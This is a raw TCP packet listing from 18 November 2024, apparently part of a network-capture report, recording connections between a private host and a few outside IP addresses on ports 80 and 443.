Nov 18, 2024 15:16:38.475146055 CET	80	49706	185.215.113.206	192.168.2.9
Nov 18, 2024 15:16:38.475158930 CET	80	49706	185.215.113.206	192.168.2.9
Nov 18, 2024 15:16:38.475173950 CET	80	49706	185.215.113.206	192.168.2.9
Nov 18, 2024 15:16:38.475198030 CET	49706	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:16:38.475227118 CET	49706	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:16:38.475657940 CET	80	49706	185.215.113.206	192.168.2.9
Nov 18, 2024 15:16:38.475718975 CET	49706	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:16:38.475758076 CET	80	49706	185.215.113.206	192.168.2.9
Nov 18, 2024 15:16:38.475769043 CET	80	49706	185.215.113.206	192.168.2.9
Nov 18, 2024 15:16:38.475815058 CET	49706	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:16:38.475955009 CET	80	49706	185.215.113.206	192.168.2.9
Nov 18, 2024 15:16:38.475960970 CET	80	49706	185.215.113.206	192.168.2.9
Nov 18, 2024 15:16:38.476011038 CET	49706	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:16:38.476035118 CET	49706	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:16:38.476164103 CET	80	49706	185.215.113.206	192.168.2.9
Nov 18, 2024 15:16:38.476175070 CET	80	49706	185.215.113.206	192.168.2.9
Nov 18, 2024 15:16:38.476185083 CET	80	49706	185.215.113.206	192.168.2.9
Nov 18, 2024 15:16:38.476206064 CET	80	49706	185.215.113.206	192.168.2.9
Nov 18, 2024 15:16:38.476217031 CET	80	49706	185.215.113.206	192.168.2.9
Nov 18, 2024 15:16:38.476222038 CET	49706	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:16:38.476232052 CET	80	49706	185.215.113.206	192.168.2.9
Nov 18, 2024 15:16:38.476547956 CET	49706	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:16:38.476548910 CET	49706	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:16:38.476860046 CET	80	49706	185.215.113.206	192.168.2.9
Nov 18, 2024 15:16:38.476870060 CET	80	49706	185.215.113.206	192.168.2.9
Nov 18, 2024 15:16:38.476881027 CET	80	49706	185.215.113.206	192.168.2.9
Nov 18, 2024 15:16:38.476892948 CET	80	49706	185.215.113.206	192.168.2.9
Nov 18, 2024 15:16:38.476905107 CET	80	49706	185.215.113.206	192.168.2.9
Nov 18, 2024 15:16:38.476912022 CET	49706	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:16:38.476917982 CET	80	49706	185.215.113.206	192.168.2.9
Nov 18, 2024 15:16:38.476939917 CET	49706	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:16:38.476984024 CET	49706	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:16:38.477545023 CET	80	49706	185.215.113.206	192.168.2.9
Nov 18, 2024 15:16:38.477550983 CET	80	49706	185.215.113.206	192.168.2.9
Nov 18, 2024 15:16:38.477559090 CET	80	49706	185.215.113.206	192.168.2.9
Nov 18, 2024 15:16:38.477629900 CET	49706	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:16:38.477649927 CET	49706	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:16:38.477868080 CET	80	49706	185.215.113.206	192.168.2.9
Nov 18, 2024 15:16:38.477880001 CET	80	49706	185.215.113.206	192.168.2.9
Nov 18, 2024 15:16:38.477899075 CET	80	49706	185.215.113.206	192.168.2.9
Nov 18, 2024 15:16:38.477910042 CET	80	49706	185.215.113.206	192.168.2.9
Nov 18, 2024 15:16:38.477919102 CET	49706	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:16:38.477924109 CET	80	49706	185.215.113.206	192.168.2.9
Nov 18, 2024 15:16:38.477937937 CET	80	49706	185.215.113.206	192.168.2.9
Nov 18, 2024 15:16:38.477947950 CET	49706	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:16:38.477951050 CET	80	49706	185.215.113.206	192.168.2.9
Nov 18, 2024 15:16:38.477994919 CET	49706	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:16:38.478907108 CET	80	49706	185.215.113.206	192.168.2.9
Nov 18, 2024 15:16:38.478923082 CET	80	49706	185.215.113.206	192.168.2.9
Nov 18, 2024 15:16:38.478934050 CET	80	49706	185.215.113.206	192.168.2.9
Nov 18, 2024 15:16:38.478948116 CET	80	49706	185.215.113.206	192.168.2.9
Nov 18, 2024 15:16:38.478959084 CET	80	49706	185.215.113.206	192.168.2.9
Nov 18, 2024 15:16:38.478969097 CET	80	49706	185.215.113.206	192.168.2.9
Nov 18, 2024 15:16:38.478970051 CET	49706	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:16:38.478979111 CET	80	49706	185.215.113.206	192.168.2.9
Nov 18, 2024 15:16:38.478991985 CET	80	49706	185.215.113.206	192.168.2.9
Nov 18, 2024 15:16:38.479012966 CET	49706	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:16:38.479039907 CET	49706	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:16:38.479827881 CET	80	49706	185.215.113.206	192.168.2.9
Nov 18, 2024 15:16:38.479840994 CET	80	49706	185.215.113.206	192.168.2.9
Nov 18, 2024 15:16:38.479851961 CET	80	49706	185.215.113.206	192.168.2.9
Nov 18, 2024 15:16:38.479866028 CET	80	49706	185.215.113.206	192.168.2.9
Nov 18, 2024 15:16:38.479885101 CET	49706	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:16:38.479926109 CET	49706	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:16:38.511883020 CET	80	49706	185.215.113.206	192.168.2.9
Nov 18, 2024 15:16:38.511929989 CET	80	49706	185.215.113.206	192.168.2.9
Nov 18, 2024 15:16:38.511941910 CET	80	49706	185.215.113.206	192.168.2.9
Nov 18, 2024 15:16:38.511946917 CET	49706	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:16:38.511984110 CET	49706	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:16:38.512087107 CET	80	49706	185.215.113.206	192.168.2.9
Nov 18, 2024 15:16:38.512099981 CET	80	49706	185.215.113.206	192.168.2.9
Nov 18, 2024 15:16:38.512114048 CET	80	49706	185.215.113.206	192.168.2.9
Nov 18, 2024 15:16:38.512150049 CET	49706	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:16:38.512182951 CET	49706	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:16:38.535712957 CET	80	49706	185.215.113.206	192.168.2.9
Nov 18, 2024 15:16:38.535778046 CET	49706	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:16:38.535804987 CET	80	49706	185.215.113.206	192.168.2.9
Nov 18, 2024 15:16:38.535818100 CET	80	49706	185.215.113.206	192.168.2.9
Nov 18, 2024 15:16:38.535850048 CET	49706	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:16:38.535881996 CET	49706	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:16:38.535990000 CET	80	49706	185.215.113.206	192.168.2.9
Nov 18, 2024 15:16:38.536003113 CET	80	49706	185.215.113.206	192.168.2.9
Nov 18, 2024 15:16:38.536032915 CET	49706	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:16:38.536052942 CET	49706	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:16:38.536191940 CET	80	49706	185.215.113.206	192.168.2.9
Nov 18, 2024 15:16:38.536205053 CET	80	49706	185.215.113.206	192.168.2.9
Nov 18, 2024 15:16:38.536243916 CET	49706	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:16:38.536338091 CET	80	49706	185.215.113.206	192.168.2.9
Nov 18, 2024 15:16:38.536384106 CET	49706	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:16:40.564615011 CET	80	49706	185.215.113.206	192.168.2.9
Nov 18, 2024 15:16:40.564680099 CET	49706	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:16:40.707135916 CET	49708	443	192.168.2.9	142.250.184.196
Nov 18, 2024 15:16:40.707181931 CET	443	49708	142.250.184.196	192.168.2.9
Nov 18, 2024 15:16:40.707240105 CET	49708	443	192.168.2.9	142.250.184.196
Nov 18, 2024 15:16:40.707293034 CET	49709	443	192.168.2.9	142.250.184.196
Nov 18, 2024 15:16:40.707319021 CET	443	49709	142.250.184.196	192.168.2.9
Nov 18, 2024 15:16:40.707372904 CET	49709	443	192.168.2.9	142.250.184.196
Nov 18, 2024 15:16:40.708276033 CET	49708	443	192.168.2.9	142.250.184.196
Nov 18, 2024 15:16:40.708288908 CET	443	49708	142.250.184.196	192.168.2.9
Nov 18, 2024 15:16:40.708439112 CET	49709	443	192.168.2.9	142.250.184.196
Nov 18, 2024 15:16:40.708447933 CET	443	49709	142.250.184.196	192.168.2.9
Nov 18, 2024 15:16:40.817321062 CET	49712	443	192.168.2.9	142.250.184.196
Nov 18, 2024 15:16:40.817433119 CET	443	49712	142.250.184.196	192.168.2.9
Nov 18, 2024 15:16:40.817511082 CET	49712	443	192.168.2.9	142.250.184.196
Nov 18, 2024 15:16:40.818063021 CET	49712	443	192.168.2.9	142.250.184.196
Nov 18, 2024 15:16:40.818099976 CET	443	49712	142.250.184.196	192.168.2.9
Nov 18, 2024 15:16:40.875104904 CET	49713	443	192.168.2.9	142.250.184.196
Nov 18, 2024 15:16:40.875153065 CET	443	49713	142.250.184.196	192.168.2.9
Nov 18, 2024 15:16:40.875220060 CET	49713	443	192.168.2.9	142.250.184.196
Nov 18, 2024 15:16:40.875545979 CET	49713	443	192.168.2.9	142.250.184.196
Nov 18, 2024 15:16:40.875565052 CET	443	49713	142.250.184.196	192.168.2.9
Nov 18, 2024 15:16:41.080133915 CET	49714	443	192.168.2.9	52.149.20.212
Nov 18, 2024 15:16:41.080167055 CET	443	49714	52.149.20.212	192.168.2.9
Nov 18, 2024 15:16:41.080302954 CET	49714	443	192.168.2.9	52.149.20.212
Nov 18, 2024 15:16:41.082636118 CET	49714	443	192.168.2.9	52.149.20.212
Nov 18, 2024 15:16:41.082653046 CET	443	49714	52.149.20.212	192.168.2.9
Nov 18, 2024 15:16:41.558675051 CET	443	49709	142.250.184.196	192.168.2.9
Nov 18, 2024 15:16:41.569297075 CET	443	49708	142.250.184.196	192.168.2.9
Nov 18, 2024 15:16:41.574151993 CET	49709	443	192.168.2.9	142.250.184.196
Nov 18, 2024 15:16:41.574162006 CET	443	49709	142.250.184.196	192.168.2.9
Nov 18, 2024 15:16:41.574405909 CET	49708	443	192.168.2.9	142.250.184.196
Nov 18, 2024 15:16:41.574418068 CET	443	49708	142.250.184.196	192.168.2.9
Nov 18, 2024 15:16:41.575686932 CET	443	49708	142.250.184.196	192.168.2.9
Nov 18, 2024 15:16:41.575736046 CET	49708	443	192.168.2.9	142.250.184.196
Nov 18, 2024 15:16:41.577929020 CET	443	49709	142.250.184.196	192.168.2.9
Nov 18, 2024 15:16:41.577996969 CET	49709	443	192.168.2.9	142.250.184.196
Nov 18, 2024 15:16:41.652204037 CET	49708	443	192.168.2.9	142.250.184.196
Nov 18, 2024 15:16:41.652287006 CET	49709	443	192.168.2.9	142.250.184.196
Nov 18, 2024 15:16:41.652317047 CET	443	49708	142.250.184.196	192.168.2.9
Nov 18, 2024 15:16:41.652396917 CET	443	49709	142.250.184.196	192.168.2.9
Nov 18, 2024 15:16:41.653990984 CET	49708	443	192.168.2.9	142.250.184.196
Nov 18, 2024 15:16:41.654005051 CET	443	49708	142.250.184.196	192.168.2.9
Nov 18, 2024 15:16:41.654047966 CET	49709	443	192.168.2.9	142.250.184.196
Nov 18, 2024 15:16:41.654061079 CET	443	49709	142.250.184.196	192.168.2.9
Nov 18, 2024 15:16:41.675252914 CET	443	49712	142.250.184.196	192.168.2.9
Nov 18, 2024 15:16:41.676001072 CET	49712	443	192.168.2.9	142.250.184.196
Nov 18, 2024 15:16:41.676023960 CET	443	49712	142.250.184.196	192.168.2.9
Nov 18, 2024 15:16:41.677176952 CET	443	49712	142.250.184.196	192.168.2.9
Nov 18, 2024 15:16:41.677310944 CET	49712	443	192.168.2.9	142.250.184.196
Nov 18, 2024 15:16:41.678962946 CET	49712	443	192.168.2.9	142.250.184.196
Nov 18, 2024 15:16:41.679043055 CET	443	49712	142.250.184.196	192.168.2.9
Nov 18, 2024 15:16:41.679289103 CET	49712	443	192.168.2.9	142.250.184.196
Nov 18, 2024 15:16:41.679303885 CET	443	49712	142.250.184.196	192.168.2.9
Nov 18, 2024 15:16:41.705856085 CET	49708	443	192.168.2.9	142.250.184.196
Nov 18, 2024 15:16:41.705869913 CET	49709	443	192.168.2.9	142.250.184.196
Nov 18, 2024 15:16:41.721478939 CET	49712	443	192.168.2.9	142.250.184.196
Nov 18, 2024 15:16:41.728419065 CET	443	49713	142.250.184.196	192.168.2.9
Nov 18, 2024 15:16:41.752183914 CET	49713	443	192.168.2.9	142.250.184.196
Nov 18, 2024 15:16:41.752218008 CET	443	49713	142.250.184.196	192.168.2.9
Nov 18, 2024 15:16:41.753770113 CET	443	49713	142.250.184.196	192.168.2.9
Nov 18, 2024 15:16:41.753853083 CET	49713	443	192.168.2.9	142.250.184.196
Nov 18, 2024 15:16:41.793158054 CET	49713	443	192.168.2.9	142.250.184.196
Nov 18, 2024 15:16:41.793303967 CET	443	49713	142.250.184.196	192.168.2.9
Nov 18, 2024 15:16:41.793557882 CET	49713	443	192.168.2.9	142.250.184.196
Nov 18, 2024 15:16:41.793581963 CET	443	49713	142.250.184.196	192.168.2.9
Nov 18, 2024 15:16:41.846613884 CET	49713	443	192.168.2.9	142.250.184.196
Nov 18, 2024 15:16:41.925479889 CET	443	49709	142.250.184.196	192.168.2.9
Nov 18, 2024 15:16:41.938195944 CET	443	49708	142.250.184.196	192.168.2.9
Nov 18, 2024 15:16:41.938246965 CET	443	49708	142.250.184.196	192.168.2.9
Nov 18, 2024 15:16:41.938275099 CET	443	49708	142.250.184.196	192.168.2.9
Nov 18, 2024 15:16:41.938417912 CET	49708	443	192.168.2.9	142.250.184.196
Nov 18, 2024 15:16:41.938448906 CET	443	49708	142.250.184.196	192.168.2.9
Nov 18, 2024 15:16:41.938499928 CET	49708	443	192.168.2.9	142.250.184.196
Nov 18, 2024 15:16:41.938560009 CET	443	49708	142.250.184.196	192.168.2.9
Nov 18, 2024 15:16:41.942457914 CET	443	49708	142.250.184.196	192.168.2.9
Nov 18, 2024 15:16:41.942974091 CET	49708	443	192.168.2.9	142.250.184.196
Nov 18, 2024 15:16:41.942980051 CET	443	49708	142.250.184.196	192.168.2.9
Nov 18, 2024 15:16:41.970463037 CET	443	49712	142.250.184.196	192.168.2.9
Nov 18, 2024 15:16:41.970530033 CET	443	49712	142.250.184.196	192.168.2.9
Nov 18, 2024 15:16:41.970562935 CET	443	49712	142.250.184.196	192.168.2.9
Nov 18, 2024 15:16:41.970583916 CET	49712	443	192.168.2.9	142.250.184.196
Nov 18, 2024 15:16:41.970592022 CET	443	49712	142.250.184.196	192.168.2.9
Nov 18, 2024 15:16:41.970710039 CET	49712	443	192.168.2.9	142.250.184.196
Nov 18, 2024 15:16:41.970746994 CET	443	49712	142.250.184.196	192.168.2.9
Nov 18, 2024 15:16:41.970925093 CET	443	49712	142.250.184.196	192.168.2.9
Nov 18, 2024 15:16:41.970969915 CET	49712	443	192.168.2.9	142.250.184.196
Nov 18, 2024 15:16:41.970976114 CET	443	49712	142.250.184.196	192.168.2.9
Nov 18, 2024 15:16:41.971446991 CET	49709	443	192.168.2.9	142.250.184.196
Nov 18, 2024 15:16:41.971455097 CET	443	49709	142.250.184.196	192.168.2.9
Nov 18, 2024 15:16:41.979227066 CET	443	49712	142.250.184.196	192.168.2.9
Nov 18, 2024 15:16:41.979590893 CET	49712	443	192.168.2.9	142.250.184.196
Nov 18, 2024 15:16:41.979597092 CET	443	49712	142.250.184.196	192.168.2.9
Nov 18, 2024 15:16:41.983854055 CET	49708	443	192.168.2.9	142.250.184.196
Nov 18, 2024 15:16:41.983861923 CET	443	49708	142.250.184.196	192.168.2.9
Nov 18, 2024 15:16:41.985254049 CET	49709	443	192.168.2.9	142.250.184.196
Nov 18, 2024 15:16:41.985304117 CET	443	49709	142.250.184.196	192.168.2.9
Nov 18, 2024 15:16:41.985446930 CET	443	49709	142.250.184.196	192.168.2.9
Nov 18, 2024 15:16:41.985512972 CET	49709	443	192.168.2.9	142.250.184.196
Nov 18, 2024 15:16:41.993983030 CET	443	49714	52.149.20.212	192.168.2.9
Nov 18, 2024 15:16:41.994096041 CET	49714	443	192.168.2.9	52.149.20.212
Nov 18, 2024 15:16:42.034483910 CET	49708	443	192.168.2.9	142.250.184.196
Nov 18, 2024 15:16:42.034514904 CET	49712	443	192.168.2.9	142.250.184.196
Nov 18, 2024 15:16:42.034531116 CET	443	49712	142.250.184.196	192.168.2.9
Nov 18, 2024 15:16:42.061959028 CET	443	49713	142.250.184.196	192.168.2.9
Nov 18, 2024 15:16:42.069919109 CET	443	49708	142.250.184.196	192.168.2.9
Nov 18, 2024 15:16:42.069983959 CET	443	49708	142.250.184.196	192.168.2.9
Nov 18, 2024 15:16:42.070218086 CET	49708	443	192.168.2.9	142.250.184.196
Nov 18, 2024 15:16:42.080002069 CET	49712	443	192.168.2.9	142.250.184.196
Nov 18, 2024 15:16:42.088985920 CET	443	49712	142.250.184.196	192.168.2.9
Nov 18, 2024 15:16:42.089077950 CET	443	49712	142.250.184.196	192.168.2.9
Nov 18, 2024 15:16:42.089137077 CET	49712	443	192.168.2.9	142.250.184.196
Nov 18, 2024 15:16:42.089155912 CET	443	49712	142.250.184.196	192.168.2.9
Nov 18, 2024 15:16:42.090521097 CET	443	49712	142.250.184.196	192.168.2.9
Nov 18, 2024 15:16:42.090584993 CET	49712	443	192.168.2.9	142.250.184.196
Nov 18, 2024 15:16:42.090601921 CET	443	49712	142.250.184.196	192.168.2.9
Nov 18, 2024 15:16:42.094541073 CET	443	49712	142.250.184.196	192.168.2.9
Nov 18, 2024 15:16:42.094602108 CET	49712	443	192.168.2.9	142.250.184.196
Nov 18, 2024 15:16:42.094616890 CET	443	49712	142.250.184.196	192.168.2.9
Nov 18, 2024 15:16:42.103329897 CET	443	49712	142.250.184.196	192.168.2.9
Nov 18, 2024 15:16:42.103389978 CET	49712	443	192.168.2.9	142.250.184.196
Nov 18, 2024 15:16:42.103410006 CET	443	49712	142.250.184.196	192.168.2.9
Nov 18, 2024 15:16:42.112565994 CET	49713	443	192.168.2.9	142.250.184.196
Nov 18, 2024 15:16:42.112593889 CET	443	49713	142.250.184.196	192.168.2.9
Nov 18, 2024 15:16:42.124542952 CET	49714	443	192.168.2.9	52.149.20.212
Nov 18, 2024 15:16:42.124567986 CET	443	49714	52.149.20.212	192.168.2.9
Nov 18, 2024 15:16:42.124919891 CET	443	49714	52.149.20.212	192.168.2.9
Nov 18, 2024 15:16:42.143834114 CET	49712	443	192.168.2.9	142.250.184.196
Nov 18, 2024 15:16:42.153425932 CET	443	49712	142.250.184.196	192.168.2.9
Nov 18, 2024 15:16:42.159441948 CET	49713	443	192.168.2.9	142.250.184.196
Nov 18, 2024 15:16:42.175097942 CET	49714	443	192.168.2.9	52.149.20.212
Nov 18, 2024 15:16:42.181848049 CET	443	49713	142.250.184.196	192.168.2.9
Nov 18, 2024 15:16:42.181932926 CET	443	49713	142.250.184.196	192.168.2.9
Nov 18, 2024 15:16:42.182003021 CET	49713	443	192.168.2.9	142.250.184.196
Nov 18, 2024 15:16:42.206331015 CET	49712	443	192.168.2.9	142.250.184.196
Nov 18, 2024 15:16:42.207969904 CET	443	49712	142.250.184.196	192.168.2.9
Nov 18, 2024 15:16:42.208100080 CET	443	49712	142.250.184.196	192.168.2.9
Nov 18, 2024 15:16:42.209942102 CET	443	49712	142.250.184.196	192.168.2.9
Nov 18, 2024 15:16:42.210000992 CET	49712	443	192.168.2.9	142.250.184.196
Nov 18, 2024 15:16:42.210062981 CET	443	49712	142.250.184.196	192.168.2.9
Nov 18, 2024 15:16:42.210125923 CET	49712	443	192.168.2.9	142.250.184.196
Nov 18, 2024 15:16:42.210143089 CET	443	49712	142.250.184.196	192.168.2.9
Nov 18, 2024 15:16:42.213264942 CET	443	49712	142.250.184.196	192.168.2.9
Nov 18, 2024 15:16:42.213352919 CET	49712	443	192.168.2.9	142.250.184.196
Nov 18, 2024 15:16:42.213371038 CET	443	49712	142.250.184.196	192.168.2.9
Nov 18, 2024 15:16:42.226222038 CET	443	49712	142.250.184.196	192.168.2.9
Nov 18, 2024 15:16:42.226279020 CET	49712	443	192.168.2.9	142.250.184.196
Nov 18, 2024 15:16:42.226298094 CET	443	49712	142.250.184.196	192.168.2.9
Nov 18, 2024 15:16:42.268835068 CET	49712	443	192.168.2.9	142.250.184.196
Nov 18, 2024 15:16:42.271766901 CET	443	49712	142.250.184.196	192.168.2.9
Nov 18, 2024 15:16:42.315677881 CET	49712	443	192.168.2.9	142.250.184.196
Nov 18, 2024 15:16:42.315702915 CET	443	49712	142.250.184.196	192.168.2.9
Nov 18, 2024 15:16:42.326601028 CET	443	49712	142.250.184.196	192.168.2.9
Nov 18, 2024 15:16:42.326678991 CET	49712	443	192.168.2.9	142.250.184.196
Nov 18, 2024 15:16:42.326704025 CET	443	49712	142.250.184.196	192.168.2.9
Nov 18, 2024 15:16:42.327801943 CET	443	49712	142.250.184.196	192.168.2.9
Nov 18, 2024 15:16:42.327856064 CET	49712	443	192.168.2.9	142.250.184.196
Nov 18, 2024 15:16:42.327868938 CET	443	49712	142.250.184.196	192.168.2.9
Nov 18, 2024 15:16:42.331913948 CET	443	49712	142.250.184.196	192.168.2.9
Nov 18, 2024 15:16:42.331970930 CET	49712	443	192.168.2.9	142.250.184.196
Nov 18, 2024 15:16:42.331990957 CET	443	49712	142.250.184.196	192.168.2.9
Nov 18, 2024 15:16:42.341165066 CET	443	49712	142.250.184.196	192.168.2.9
Nov 18, 2024 15:16:42.341236115 CET	49712	443	192.168.2.9	142.250.184.196
Nov 18, 2024 15:16:42.341250896 CET	443	49712	142.250.184.196	192.168.2.9
Nov 18, 2024 15:16:42.381117105 CET	49713	443	192.168.2.9	142.250.184.196
Nov 18, 2024 15:16:42.381135941 CET	443	49713	142.250.184.196	192.168.2.9
Nov 18, 2024 15:16:42.381386995 CET	49708	443	192.168.2.9	142.250.184.196
Nov 18, 2024 15:16:42.381407022 CET	443	49708	142.250.184.196	192.168.2.9
Nov 18, 2024 15:16:42.393662930 CET	443	49712	142.250.184.196	192.168.2.9
Nov 18, 2024 15:16:42.393721104 CET	49712	443	192.168.2.9	142.250.184.196
Nov 18, 2024 15:16:42.393749952 CET	443	49712	142.250.184.196	192.168.2.9
Nov 18, 2024 15:16:42.393800020 CET	443	49712	142.250.184.196	192.168.2.9
Nov 18, 2024 15:16:42.393898964 CET	49712	443	192.168.2.9	142.250.184.196
Nov 18, 2024 15:16:42.393913031 CET	443	49712	142.250.184.196	192.168.2.9
Nov 18, 2024 15:16:42.440691948 CET	49712	443	192.168.2.9	142.250.184.196
Nov 18, 2024 15:16:42.445605040 CET	443	49712	142.250.184.196	192.168.2.9
Nov 18, 2024 15:16:42.447726965 CET	443	49712	142.250.184.196	192.168.2.9
Nov 18, 2024 15:16:42.447777987 CET	443	49712	142.250.184.196	192.168.2.9
Nov 18, 2024 15:16:42.447778940 CET	49712	443	192.168.2.9	142.250.184.196
Nov 18, 2024 15:16:42.447818041 CET	443	49712	142.250.184.196	192.168.2.9
Nov 18, 2024 15:16:42.447865963 CET	49712	443	192.168.2.9	142.250.184.196
Nov 18, 2024 15:16:42.450620890 CET	443	49712	142.250.184.196	192.168.2.9
Nov 18, 2024 15:16:42.463629961 CET	443	49712	142.250.184.196	192.168.2.9
Nov 18, 2024 15:16:42.463675022 CET	49712	443	192.168.2.9	142.250.184.196
Nov 18, 2024 15:16:42.463701963 CET	443	49712	142.250.184.196	192.168.2.9
Nov 18, 2024 15:16:42.463942051 CET	443	49712	142.250.184.196	192.168.2.9
Nov 18, 2024 15:16:42.463977098 CET	443	49712	142.250.184.196	192.168.2.9
Nov 18, 2024 15:16:42.463989019 CET	49712	443	192.168.2.9	142.250.184.196
Nov 18, 2024 15:16:42.463998079 CET	443	49712	142.250.184.196	192.168.2.9
Nov 18, 2024 15:16:42.464034081 CET	49712	443	192.168.2.9	142.250.184.196
Nov 18, 2024 15:16:42.464040041 CET	443	49712	142.250.184.196	192.168.2.9
Nov 18, 2024 15:16:42.512785912 CET	443	49712	142.250.184.196	192.168.2.9
Nov 18, 2024 15:16:42.512907028 CET	49712	443	192.168.2.9	142.250.184.196
Nov 18, 2024 15:16:42.512975931 CET	443	49712	142.250.184.196	192.168.2.9
Nov 18, 2024 15:16:42.564905882 CET	443	49712	142.250.184.196	192.168.2.9
Nov 18, 2024 15:16:42.564966917 CET	49712	443	192.168.2.9	142.250.184.196
Nov 18, 2024 15:16:42.564997911 CET	443	49712	142.250.184.196	192.168.2.9
Nov 18, 2024 15:16:42.566437960 CET	443	49712	142.250.184.196	192.168.2.9
Nov 18, 2024 15:16:42.566488981 CET	49712	443	192.168.2.9	142.250.184.196
Nov 18, 2024 15:16:42.566497087 CET	443	49712	142.250.184.196	192.168.2.9
Nov 18, 2024 15:16:42.569591999 CET	443	49712	142.250.184.196	192.168.2.9
Nov 18, 2024 15:16:42.569642067 CET	49712	443	192.168.2.9	142.250.184.196
Nov 18, 2024 15:16:42.569667101 CET	443	49712	142.250.184.196	192.168.2.9
Nov 18, 2024 15:16:42.582782030 CET	443	49712	142.250.184.196	192.168.2.9
Nov 18, 2024 15:16:42.582820892 CET	443	49712	142.250.184.196	192.168.2.9
Nov 18, 2024 15:16:42.582833052 CET	49712	443	192.168.2.9	142.250.184.196
Nov 18, 2024 15:16:42.582865953 CET	443	49712	142.250.184.196	192.168.2.9
Nov 18, 2024 15:16:42.582906961 CET	49712	443	192.168.2.9	142.250.184.196
Nov 18, 2024 15:16:42.582992077 CET	443	49712	142.250.184.196	192.168.2.9
Nov 18, 2024 15:16:42.628359079 CET	49712	443	192.168.2.9	142.250.184.196
Nov 18, 2024 15:16:42.631033897 CET	443	49712	142.250.184.196	192.168.2.9
Nov 18, 2024 15:16:42.676121950 CET	49712	443	192.168.2.9	142.250.184.196
Nov 18, 2024 15:16:42.676137924 CET	443	49712	142.250.184.196	192.168.2.9
Nov 18, 2024 15:16:42.683238983 CET	443	49712	142.250.184.196	192.168.2.9
Nov 18, 2024 15:16:42.683293104 CET	49712	443	192.168.2.9	142.250.184.196
Nov 18, 2024 15:16:42.683299065 CET	443	49712	142.250.184.196	192.168.2.9
Nov 18, 2024 15:16:42.685020924 CET	443	49712	142.250.184.196	192.168.2.9
Nov 18, 2024 15:16:42.685075998 CET	49712	443	192.168.2.9	142.250.184.196
Nov 18, 2024 15:16:42.685084105 CET	443	49712	142.250.184.196	192.168.2.9
Nov 18, 2024 15:16:42.688771009 CET	443	49712	142.250.184.196	192.168.2.9
Nov 18, 2024 15:16:42.688816071 CET	49712	443	192.168.2.9	142.250.184.196
Nov 18, 2024 15:16:42.688822985 CET	443	49712	142.250.184.196	192.168.2.9
Nov 18, 2024 15:16:42.701184988 CET	443	49712	142.250.184.196	192.168.2.9
Nov 18, 2024 15:16:42.701241016 CET	49712	443	192.168.2.9	142.250.184.196
Nov 18, 2024 15:16:42.701266050 CET	443	49712	142.250.184.196	192.168.2.9
Nov 18, 2024 15:16:42.701364040 CET	443	49712	142.250.184.196	192.168.2.9
Nov 18, 2024 15:16:42.701390028 CET	443	49712	142.250.184.196	192.168.2.9
Nov 18, 2024 15:16:42.701411963 CET	49712	443	192.168.2.9	142.250.184.196
Nov 18, 2024 15:16:42.701428890 CET	443	49712	142.250.184.196	192.168.2.9
Nov 18, 2024 15:16:42.701481104 CET	49712	443	192.168.2.9	142.250.184.196
Nov 18, 2024 15:16:42.749952078 CET	443	49712	142.250.184.196	192.168.2.9
Nov 18, 2024 15:16:42.801124096 CET	49712	443	192.168.2.9	142.250.184.196
Nov 18, 2024 15:16:42.801148891 CET	443	49712	142.250.184.196	192.168.2.9
Nov 18, 2024 15:16:42.801804066 CET	443	49712	142.250.184.196	192.168.2.9
Nov 18, 2024 15:16:42.801843882 CET	49712	443	192.168.2.9	142.250.184.196
Nov 18, 2024 15:16:42.801856041 CET	443	49712	142.250.184.196	192.168.2.9
Nov 18, 2024 15:16:42.804249048 CET	443	49712	142.250.184.196	192.168.2.9
Nov 18, 2024 15:16:42.804292917 CET	49712	443	192.168.2.9	142.250.184.196
Nov 18, 2024 15:16:42.804315090 CET	443	49712	142.250.184.196	192.168.2.9
Nov 18, 2024 15:16:42.807518005 CET	443	49712	142.250.184.196	192.168.2.9
Nov 18, 2024 15:16:42.807564020 CET	49712	443	192.168.2.9	142.250.184.196
Nov 18, 2024 15:16:42.807579994 CET	443	49712	142.250.184.196	192.168.2.9
Nov 18, 2024 15:16:42.820236921 CET	443	49712	142.250.184.196	192.168.2.9
Nov 18, 2024 15:16:42.820265055 CET	443	49712	142.250.184.196	192.168.2.9
Nov 18, 2024 15:16:42.820281029 CET	49712	443	192.168.2.9	142.250.184.196
Nov 18, 2024 15:16:42.820297956 CET	443	49712	142.250.184.196	192.168.2.9
Nov 18, 2024 15:16:42.820346117 CET	49712	443	192.168.2.9	142.250.184.196
Nov 18, 2024 15:16:42.820409060 CET	443	49712	142.250.184.196	192.168.2.9
Nov 18, 2024 15:16:42.863641977 CET	49712	443	192.168.2.9	142.250.184.196
Nov 18, 2024 15:16:42.884296894 CET	443	49712	142.250.184.196	192.168.2.9
Nov 18, 2024 15:16:42.884361029 CET	443	49712	142.250.184.196	192.168.2.9
